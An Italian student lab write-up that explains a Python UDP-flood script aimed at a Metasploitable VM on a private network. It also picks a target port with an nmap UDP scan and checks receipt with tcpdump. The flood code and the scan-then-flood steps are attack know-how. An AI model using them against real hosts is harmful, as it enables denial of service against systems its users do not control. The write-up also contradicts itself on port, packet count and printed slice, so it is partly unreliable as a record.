L' esercizio chiedeva di scrivere un programma in Python che simuli un UDP flood, ovvero l'invio massivo di richieste UDP verso una macchina target che è in ascolto su una porta UDP casuale.

```python

import socket

target_ip = "192.168.20.2"      #IP target
target_port = 2049              #Port

message = "Hello, UDP!"         #messaggio nel pacchetto
num_requests = 5                #Numero di richieste da inviare
packet_size= 1024                       #dimenzione del pacchetto in byte

def send_udp_requests(target_ip, target_port, num_requests, packet_size, message):
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Crea un socket UDP
        payload = (message if message else '').ljust(packet_size, ' ')  # Crea il payload c

        for _ in range(num_requests):
                sock.sendto(payload.encode(), (target_ip, target_port))  # Invia il messaggio
                print(f"Send: {payload[:10]}... a {target_ip}:{target_port} ({packet_size} byte)")

        sock.close()  # Chiude il socket

send_udp_requests(target_ip, target_port, num_requests, packet_size, message)

```

OUTPUT:

```
Send: Hello, UDP... a 192.168.20.2:44444 (1024 byte)
Send: Hello, UDP... a 192.168.20.2:44444 (1024 byte)
Send: Hello, UDP... a 192.168.20.2:44444 (1024 byte)
```

Il codice utilizza la libreria socket che permette lavorare con le connessioni di rete basate su protocolli di trasporto come TCP e UDP.
Nella prima parte ho inserito le variabili che fanno riferimento ai dati del target e del payload come il messaggio da inserire all'interno del pacchetto inviato, il numero di richieste e la dimensione del pacchetto.
Successivamente ho creato una funzione "send_udp_requests" che prende in input le variabili precedentemente inserite, crea il socket di rete per gestire i pacchetti UDP, crea il payload e invia un numero specificato di pacchetti.
Dove, per creare il socket UDP:
"socket.AF_INET" Specifica il tipo di indirizzo del socket e AF_INET specifica lo standard IPv4,
"socket.SOCK_DGRAM" crea un socket basato su UDP
Per il payload:
(message if message else '') controlla se la variabile message contiene un valore
.ljust(packet_size, ' ') estende la stringa message alla lunghezza di packet_size cosí, se message è più corto della dimensione specificata del pacchetto, viene riempito con spazzi vuoti
Nella parte del for:
for _ in range(num_requests) il ciclo itera tante volte quanto indica la variabile num_request inviando quel determinato numero di pacchetti. L'underscore sta ad indicare che il valore non è necessario specificarlo perché non verrà utilizzato all'interno del ciclo for.
sock.sendto invoca il metodo sendto dell'oggetto socket per inviare il pacchetto con il payload specificato all'IP e la porta specificati
payload.encode() converte la stringa payload in una sequenza di byte
successivamente viene stampato un messaggio sulla console che fornisce un riepilogo del pacchetto UDP inviato
{payload[:50]} Mostra i primi 50 caratteri del contenuto del payload, altrimenti sarebbe illegibile

Dopo aver terminato con la scrittura del codice, sono andato a verificare quale porta fosse libera per poter ricever i pacchetti UDP usando una scansione con Nmap usando il comando:

```
┌──(kali㉿kali)-[~/tools]
└─$ nmap -sU  192.168.20.2
```

Dove -sU è il comando per specificare a nmap di effettuare la scansione sulle porte UDP del target specificato.
L'output ha generato il successivo risultato.

```
Nmap scan report for 192.168.20.2
Host is up (0.00076s latency).
Not shown: 992 closed udp ports (port-unreach)
PORT      STATE         SERVICE
53/udp    open          domain
69/udp    open|filtered tftp
111/udp   open          rpcbind
137/udp   open          netbios-ns
138/udp   open|filtered netbios-dgm
1057/udp  open|filtered startron
2049/udp  open          nfs
32773/udp open|filtered sometimes-rpc10
```

Decido quindi di inviare i pacchetti attraverso la porta 2049.
Prima di eseguire il codice, sono andato a mettere la porta di metasploitable in ascolto tramite il comando

tcpdump -i eth0 udp port 2049

e successivamente sono andato a eseguire il codice, ricevendo su metasploitable l'output:

```
root@metasploitable:/home/msfadmin# tcpdump -i eth0 udp port 2049
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
11:28:57.368124 IP 192.168.20.3.52086 > 192.168.20.2.nfs: UDP, length 1024
11:28:57.368453 IP 192.168.20.3.52086 > 192.168.20.2.nfs: UDP, length 1024
11:28:57.368471 IP 192.168.20.3.52086 > 192.168.20.2.nfs: UDP, length 1024
11:28:57.368487 IP 192.168.20.3.52086 > 192.168.20.2.nfs: UDP, length 1024
11:28:57.368503 IP 192.168.20.3.52086 > 192.168.20.2.nfs: UDP, length 1024

5 packets captured
5 packets received by filter
0 packets dropped by kernel
```

che ho fermato dopo la ricezione di tutti i pacchetti, dandomi la conferma che i 5 pacchetti inviati sono stati tutti ricevuti dalla macchina target